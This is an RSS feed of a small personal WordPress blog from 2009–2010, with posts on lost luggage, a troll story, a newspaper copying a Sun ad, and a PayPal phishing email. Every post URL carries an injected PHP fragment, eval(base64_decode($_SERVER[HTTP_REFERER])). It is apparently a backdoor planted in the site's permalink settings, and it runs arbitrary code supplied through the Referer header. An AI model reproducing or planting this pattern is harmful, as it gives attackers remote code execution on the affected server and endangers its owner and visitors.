The Millennium Shrimp http://milleniumshrimp.com Mainly nothing, but a little bit of everything Mon, 03 May 2010 19:05:41 +0000 http://wordpress.org/?v=2.7 en hourly 1 Liceo http://milleniumshrimp.com/2010/04/28/liceo/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://milleniumshrimp.com/2010/04/28/liceo/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 28 Apr 2010 17:45:12 +0000 michael http://milleniumshrimp.com/?p=282 This is the liceo where Amanda was working:

]]> http://milleniumshrimp.com/2010/04/28/liceo/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Loosing all my luggage http://milleniumshrimp.com/2010/04/28/loosing-all-my-luggage/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://milleniumshrimp.com/2010/04/28/loosing-all-my-luggage/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 28 Apr 2010 17:38:53 +0000 michael http://milleniumshrimp.com/?p=272 All great journeys begin when you accept the truth that your luggage is not going to be on the same flight that you are on. Hopefully it will get there within a couple of days.
My flight had just pulled away from the gate and started towards the runway when the Captain came on the intercom and told us that they were delaying us another 55 minutes because of the weather in Atlanta. That would shave my hour and 50 minute layover in Atlanta down to a mere 40 minutes or so.

Fortunately we weren’t delayed any further, and I was able to make the flight from Atlanta to Guayaquil. Fortunate, because Delta has only one direct flight from Atlanta to Guyaquil per week.

I finally got my luggage Tuesday morning. Thankfully, I packed most of my clothes in the carry on!

]]> http://milleniumshrimp.com/2010/04/28/loosing-all-my-luggage/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ I caught a troll! http://milleniumshrimp.com/2010/04/14/i-caught-a-troll/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://milleniumshrimp.com/2010/04/14/i-caught-a-troll/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 14 Apr 2010 19:08:38 +0000 michael http://milleniumshrimp.com/?p=270 So, a lady at work was telling us a story about a friend of a friend (yeah, I know, it sounds like an urban legend). This lady has an autistic adult child living at home. Recently, her son called her at the office and said “mom, come home, I’ve caught a troll.”

She wasn’t quite sure what to do, but she went home. And her son met her at the door, he was so excited.

“Mom, I’ve caught a troll, he’s in the closet.”

She went to the closet and opened the door. And there was a little person who happened to be working for the Census…

]]> http://milleniumshrimp.com/2010/04/14/i-caught-a-troll/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Repository rips off Sun Newspaper Ad http://milleniumshrimp.com/2010/03/10/repository-rips-off-sun-newspaper-ad/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://milleniumshrimp.com/2010/03/10/repository-rips-off-sun-newspaper-ad/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 10 Mar 2010 13:39:23 +0000 michael http://milleniumshrimp.com/?p=268 Here’s a curious “irony” - a few weeks after publishing an editorial opining:

By retiring, Streit has done the only thing he could do to uphold the school’s broader commitment to personal integrity.

and also that:

That is what this comes down to, of course— intellectual dishonesty

the Repository’s editor Jeff Gauger finds himself being called on the carpet over the Rep’s “adaptation” of an iphone parody ad that the Sun tabloid in England had put out earlier last year.

Below is the Rep’s new ad that Gauger was pleased to unveil as “the must have mobile device of 2010″ on March 4th:

Here is the original Sun video:

The back and forth on it can be found in these posts:

Fitz & Jen: Canton Repository’s Sincerest form of flattery
Editor’s Extra: Version 2.0:The must-have mobile device of 2010
Fitz & Jenn: ‘Canton Repository’: It’s not copying without credit, it’s irony!

We live in a society where copying the written word has become so easy that it’s hard to see what is really wrong with it. And yet, copying a video is not as simple as a few mouse clicks. You have to shoot the footage, edit it, get a voice over. You’re recreating the content, not creating a digital copy of the content. So why slavishly copy the original script? It could have been a clever extension of the original concept instead of a lackluster imitation.

]]> http://milleniumshrimp.com/2010/03/10/repository-rips-off-sun-newspaper-ad/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Ty Ezbrannyj - The matrix as silent film http://milleniumshrimp.com/2009/11/10/ty-ezbrannyj-the-matrix-as-silent-film/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://milleniumshrimp.com/2009/11/10/ty-ezbrannyj-the-matrix-as-silent-film/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 11 Nov 2009 02:25:33 +0000 michael http://milleniumshrimp.com/?p=266

It’s awesome. Mainly because it’s in Russian! Ty Ezbrannyj - You are the one!

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The secret to a happy marriage for men is choosing a wife who is smarter and at least five years younger than you, say UK experts.

‘Younger wife’ for marital bliss

]]> http://milleniumshrimp.com/2009/10/26/auntie-beebs-guide-to-marriage/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Dear PayPal Customer http://milleniumshrimp.com/2009/09/11/dear-paypal-customer/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://milleniumshrimp.com/2009/09/11/dear-paypal-customer/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 11 Sep 2009 17:52:57 +0000 michael http://milleniumshrimp.com/?p=256 Please give us your personal information so we may rob you:

—–Original Message—–
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Sent: Wednesday, August 26, 2009 8:13 PM
Subject: Account Verification Form
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Remember, this is the Internet. Just because you’re not the type of person who would sell your grandmother to Russian gangsters for a dollar doesn’t mean there aren’t a thousand and one other people out here who would. (Sell your grandmother to Russian gangsters that is, and probably their own as well.)

This email was good. No spelling or obvious grammar mistakes. The only warning signs were (a) the sending email address (billing@customerdata.com) and (b) the fact that they attached an html form for the user to fill out. The html document was encrypted and wrapped in a javascript tag. NOT GOOD!!

]]> http://milleniumshrimp.com/2009/09/11/dear-paypal-customer/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Voyage to the end of the Universe http://milleniumshrimp.com/2009/09/10/voyage-to-the-end-of-the-universe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://milleniumshrimp.com/2009/09/10/voyage-to-the-end-of-the-universe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 10 Sep 2009 13:09:22 +0000 michael http://milleniumshrimp.com/?p=258 saw this on IO9:

It’s excerpted from a Czechoslovakian science fiction film from the 1960s. Surprisingly good. This scene has a decidedly anti-western theme to it.

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Home & Garden
The Recycled Houses
Michael Stravato for The New York Times
Published: 20090902
Dan Phillips has built homes in Huntsville, Tex., using salvaged materials.
http://www.nytimes.com/slideshow/2009/09/02/garden/20090903-recycled-slideshow_index.html

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In a report on their findings the researchers said: ‘We conclude men’s cognitive functioning may temporarily decline after an interaction with an attractive woman.’

They call it “reproductively focused cognition.”
Rest at the Daily Telegraph

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